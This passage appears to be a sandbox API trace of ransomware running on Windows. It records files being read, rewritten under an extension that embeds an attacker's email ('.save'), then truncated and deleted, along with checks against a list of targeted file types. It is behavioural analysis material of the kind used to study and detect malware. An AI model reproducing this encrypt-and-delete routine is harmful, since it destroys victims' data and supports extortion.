shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0074.995] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=48872) returned 1 [0074.995] CloseHandle (hObject=0x2ec) returned 1 [0074.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0074.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0074.995] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.995] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0074.996] GetLastError () returned 0x0 [0074.996] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xbee8, lpOverlapped=0x0) returned 1 [0075.375] WriteFile (in: hFile=0x314, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xbef0, lpOverlapped=0x0) returned 1 [0075.377] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.377] WriteFile (in: hFile=0x314, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1 [0075.378] SetEndOfFile (hFile=0x314) returned 1 [0075.378] CloseHandle (hObject=0x314) returned 1 [0075.378] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.378] SetEndOfFile (hFile=0x2ec) returned 1 [0075.380] CloseHandle (hObject=0x2ec) returned 1 [0075.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0075.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.380] lstrlenW (lpString=".doc") returned 4 [0075.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.380] lstrlenW (lpString=".docx") returned 5 [0075.380] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0075.380] lstrlenW (lpString=".pdf") returned 4 [0075.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.381] lstrlenW (lpString=".xls") returned 4 [0075.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.381] lstrlenW (lpString=".xlsx") returned 5 [0075.381] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0075.381] lstrlenW (lpString=".ppt") returned 4 [0075.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.381] lstrlenW (lpString=".zip") returned 4 [0075.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.381] lstrlenW (lpString=".rar") returned 4 [0075.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.381] lstrlenW (lpString=".bz2") returned 4 [0075.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.381] lstrlenW (lpString=".7z") returned 3 [0075.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.381] lstrlenW (lpString=".dbf") returned 4 [0075.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.381] lstrlenW (lpString=".1cd") returned 4 [0075.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.381] lstrlenW (lpString=".jpg") returned 4 [0075.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.382] lstrlenW (lpString=".doc") returned 4 [0075.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString=".docx") returned 5 [0075.382] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0075.382] lstrlenW (lpString=".pdf") returned 4 [0075.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString=".xls") returned 4 [0075.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString=".xlsx") returned 5 [0075.382] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0075.382] lstrlenW (lpString=".ppt") returned 4 [0075.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.382] lstrlenW (lpString=".zip") returned 4 [0075.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString=".rar") returned 4 [0075.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.382] lstrlenW (lpString=".bz2") returned 4 [0075.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.382] lstrlenW (lpString=".7z") returned 3 [0075.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.382] lstrlenW (lpString=".dbf") returned 4 [0075.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.382] lstrlenW (lpString=".1cd") returned 4 [0075.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0075.383] lstrlenW (lpString=".jpg") returned 4 [0075.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.383] lstrcmpiW (lpString1=".tlb", lpString2=".save") returned 1 [0075.383] lstrlenW (lpString="msado20.tlb") returned 11 [0075.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.386] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=50688) returned 1 [0075.386] CloseHandle (hObject=0x2ec) returned 1 [0075.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0075.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.387] lstrlenW (lpString=".doc") returned 4 [0075.387] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.387] lstrlenW (lpString=".docx") returned 5 [0075.387] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0075.387] lstrlenW (lpString=".pdf") returned 4 [0075.387] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.387] lstrlenW (lpString=".xls") returned 4 [0075.387] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.387] lstrlenW (lpString=".xlsx") returned 5 [0075.387] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0075.388] lstrlenW (lpString=".ppt") returned 4 [0075.388] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString=".zip") returned 4 [0075.388] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.388] lstrlenW (lpString=".rar") returned 4 [0075.388] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString=".bz2") returned 4 [0075.388] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString=".7z") returned 3 [0075.388] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString=".dbf") returned 4 [0075.388] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString=".1cd") returned 4 [0075.388] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString=".jpg") returned 4 [0075.388] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.388] lstrlenW (lpString=".doc") returned 4 [0075.388] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.388] lstrlenW (lpString=".docx") returned 5 [0075.388] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0075.389] lstrlenW (lpString=".pdf") returned 4 [0075.389] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString=".xls") returned 4 [0075.389] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.389] lstrlenW (lpString=".xlsx") returned 5 [0075.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0075.389] lstrlenW (lpString=".ppt") returned 4 [0075.389] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.389] lstrlenW (lpString=".zip") returned 4 [0075.389] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.389] lstrlenW (lpString=".rar") returned 4 [0075.389] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString=".bz2") returned 4 [0075.389] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString=".7z") returned 3 [0075.389] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.389] lstrlenW (lpString=".dbf") returned 4 [0075.389] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.389] lstrlenW (lpString=".1cd") returned 4 [0075.389] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0075.389] lstrlenW (lpString=".jpg") returned 4 [0075.389] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.390] lstrcmpiW (lpString1=".tlb", lpString2=".save") returned 1 [0075.390] lstrlenW (lpString="msado21.tlb") returned 11 [0075.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.391] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=53760) returned 1 [0075.391] CloseHandle (hObject=0x2ec) returned 1 [0075.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0075.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.391] lstrlenW (lpString=".doc") returned 4 [0075.391] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.391] lstrlenW (lpString=".docx") returned 5 [0075.391] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0075.391] lstrlenW (lpString=".pdf") returned 4 [0075.391] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.391] lstrlenW (lpString=".xls") returned 4 [0075.391] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.391] lstrlenW (lpString=".xlsx") returned 5 [0075.392] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0075.392] lstrlenW (lpString=".ppt") returned 4 [0075.392] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString=".zip") returned 4 [0075.392] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.392] lstrlenW (lpString=".rar") returned 4 [0075.392] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString=".bz2") returned 4 [0075.392] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString=".7z") returned 3 [0075.392] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString=".dbf") returned 4 [0075.392] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString=".1cd") returned 4 [0075.392] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString=".jpg") returned 4 [0075.392] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.392] lstrlenW (lpString=".doc") returned 4 [0075.392] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.392] lstrlenW (lpString=".docx") returned 5 [0075.392] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0075.393] lstrlenW (lpString=".pdf") returned 4 [0075.393] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString=".xls") returned 4 [0075.393] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.393] lstrlenW (lpString=".xlsx") returned 5 [0075.393] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0075.393] lstrlenW (lpString=".ppt") returned 4 [0075.393] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.393] lstrlenW (lpString=".zip") returned 4 [0075.393] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.393] lstrlenW (lpString=".rar") returned 4 [0075.393] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString=".bz2") returned 4 [0075.393] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString=".7z") returned 3 [0075.393] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.393] lstrlenW (lpString=".dbf") returned 4 [0075.393] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.393] lstrlenW (lpString=".1cd") returned 4 [0075.393] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0075.393] lstrlenW (lpString=".jpg") returned 4 [0075.393] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.452] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.452] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0075.453] GetLastError () returned 0x0 [0075.453] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0075.478] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0075.905] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x72450, lpOverlapped=0x0) returned 1 [0075.921] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x72460, lpOverlapped=0x0) returned 1 [0075.932] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.932] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe2, lpOverlapped=0x0) returned 1 [0075.932] SetEndOfFile (hFile=0x2f0) returned 1 [0075.933] CloseHandle (hObject=0x2f0) returned 1 [0075.933] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.933] SetEndOfFile (hFile=0x314) returned 1 [0075.938] CloseHandle (hObject=0x314) returned 1 [0075.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.938] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0075.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.939] lstrlenW (lpString=".doc") returned 4 [0075.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.939] lstrlenW (lpString=".docx") returned 5 [0075.939] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0075.939] lstrlenW (lpString=".pdf") returned 4 [0075.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.939] lstrlenW (lpString=".xls") returned 4 [0075.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.939] lstrlenW (lpString=".xlsx") returned 5 [0075.939] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0075.939] lstrlenW (lpString=".ppt") returned 4 [0075.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.940] lstrlenW (lpString=".zip") returned 4 [0075.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.940] lstrlenW (lpString=".rar") returned 4 [0075.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.940] lstrlenW (lpString=".bz2") returned 4 [0075.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.940] lstrlenW (lpString=".7z") returned 3 [0075.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.940] lstrlenW (lpString=".dbf") returned 4 [0075.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.940] lstrlenW (lpString=".1cd") returned 4 [0075.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0075.940] lstrlenW (lpString=".jpg") returned 4 [0075.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.390] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0076.393] GetLastError () returned 0x0 [0076.393] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x7440, lpOverlapped=0x0) returned 1 [0076.396] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x7450, lpOverlapped=0x0) returned 1 [0076.398] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.398] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.399] SetEndOfFile (hFile=0x398) returned 1 [0076.400] CloseHandle (hObject=0x398) returned 1 [0076.400] SetFilePointerEx (in: 